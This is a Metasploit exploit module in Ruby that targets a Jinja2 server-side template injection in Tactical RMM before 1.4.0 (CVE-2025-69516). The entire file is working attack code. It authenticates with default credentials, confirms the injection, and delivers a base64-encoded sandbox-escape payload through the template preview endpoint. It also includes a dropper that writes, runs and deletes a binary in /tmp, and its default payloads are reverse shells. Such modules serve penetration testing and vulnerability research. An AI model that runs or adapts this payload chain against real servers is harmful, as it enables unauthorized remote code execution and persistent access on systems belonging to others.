Tactical RMM Jinja2 SSTI Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tactical RMM Jinja2 SSTI Remote Code Execution',
        'Description' => %q{
          This module exploits a Server-Side Template Injection (SSTI) vulnerability
          in Tactical RMM versions prior to 1.4.0 (CVE-2025-69516).

          The reporting template preview endpoint passes user-controlled Jinja2 template
          content to Environment.from_string() without sandboxing, allowing arbitrary
          Python code execution on the server.

          Valid credentials are required. The module authenticates to obtain a Knox API
          token, then delivers a Jinja2 SSTI payload through the template preview
          functionality to achieve OS command execution.

          The vulnerability was silently patched in version 1.4.0 by switching from
          jinja2.Environment to jinja2.sandbox.SandboxedEnvironment.
        },
        'Author' => [
          'Gabriel Gomes', # CVE discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Module and analysis
        ],
        'References' => [
          ['CVE', '2025-69516'],
          ['URL', 'https://github.com/amidaware/tacticalrmm'],
          ['URL', 'https://github.com/NtGabrielGomes/CVE-2025-69516']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Python',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter_reverse_tcp' }
            }
          ],
          [
            'Unix/Linux Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }
            }
          ],
          [
            'Linux x64',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DisclosureDate' => '2026-01-29',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Username for Tactical RMM', 'tactical']),
      OptString.new('PASSWORD', [true, 'Password for Tactical RMM', 'tactical']),
      OptString.new('API_VHOST', [false, 'API hostname (auto-discovered from /env-config.js if blank)']),
      OptString.new('WritableDir', [true, 'Writable directory for payload drop', '/tmp'])
    ])
  end

  def discover_api_host
    return datastore['API_VHOST'] unless datastore['API_VHOST'].blank?

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'env-config.js')
    )

    if res&.code == 200 && res.body =~ %r{PROD_URL:\s*"https?://([^"]+)"}
      api_host = ::Regexp.last_match(1)
      vprint_status("Auto-discovered API host: #{api_host}")
      return api_host
    end

    nil
  end

  def api_request(opts = {})
    @api_host ||= discover_api_host
    if @api_host
      opts['headers'] ||= {}
      opts['headers']['Host'] = @api_host
    end
    send_request_cgi(opts)
  end

  def try_login
    res = api_request(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'v2', 'checkcreds/'),
      'ctype' => 'application/json',
      'data' => { username: datastore['USERNAME'], password: datastore['PASSWORD'] }.to_json
    )

    return nil unless res&.code == 200

    json = res.get_json_document
    return nil if json['totp'] == true

    json['token']
  end

  def login
    token = try_login
    fail_with(Failure::NoAccess, 'Authentication failed') unless token

    token
  end

  def send_template(token, template_md)
    api_request(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'reporting', 'templates', 'preview/'),
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => "Token #{token}" },
      'data' => {
        template_md: template_md,
        type: 'html',
        template_css: '',
        template_html: nil,
        template_variables: '{}',
        dependencies: {},
        format: 'html',
        debug: false
      }.to_json
    )
  end

  def get_version(token)
    res = api_request(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'core', 'dashinfo/'),
      'headers' => { 'Authorization' => "Token #{token}" }
    )

    return nil unless res&.code == 200

    json = res.get_json_document
    json['trmm_version']
  end

  def check
    @token ||= try_login
    return CheckCode::Unknown('Authentication failed') unless @token

    vprint_status('Authenticated successfully')

    version = get_version(@token)
    if version
      vprint_status("Tactical RMM version: #{version}")
      return CheckCode::Safe("Version #{version} is patched (SandboxedEnvironment)") if Rex::Version.new(version) >= Rex::Version.new('1.4.0')

      print_good("Version #{version} is vulnerable (< 1.4.0)")
    end

    vprint_status('Confirming SSTI...')
    rand_a = rand(2..100)
    rand_b = rand(2..100)
    expected = (rand_a * rand_b).to_s
    res = send_template(@token, "{{ #{rand_a}*#{rand_b} }}")

    return CheckCode::Unknown('No response from template preview endpoint') unless res
    return CheckCode::Vulnerable('Jinja2 SSTI confirmed via unsandboxed template evaluation') if res.code == 200 && res.body.include?(expected)
    return CheckCode::Safe('Template preview accessible but expressions not evaluated') if res.code == 200

    CheckCode::Safe("Template preview returned HTTP #{res.code}")
  end

  def ssti_payload(code)
    encoded = Rex::Text.encode_base64(code)
    '{% set g=cycler.__init__.__globals__ %}{% set b=g["__builtins__"] %}' \
    "{% set x=b['__import__']('threading').Thread(target=b['exec'],args=(b['__import__']('base64').b64decode('#{encoded}').decode(),{'__builtins__':b}),daemon=True).start() %}"
  end

  # The target container has no curl/wget, so we embed the ELF payload
  # inline as base64 and use Python to write, execute, and clean it up.
  def python_dropper(exe)
    p = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
    "import base64,os,subprocess,time;p='#{p}';open(p,'wb').write(base64.b64decode('#{[exe].pack('m0')}'));os.chmod(p,0o755);subprocess.Popen([p]);time.sleep(2);os.remove(p)"
  end

  def exploit
    @token ||= login
    print_status('Authenticated, token obtained')
    print_status('Sending SSTI payload...')

    case target['Arch']
    when ARCH_PYTHON
      code = payload.encoded
    when ARCH_CMD
      code = "import subprocess;subprocess.Popen(#{payload.encoded.inspect},shell=True)"
    when ARCH_X64
      code = python_dropper(generate_payload_exe)
    end

    send_template(@token, ssti_payload(code))
  end
end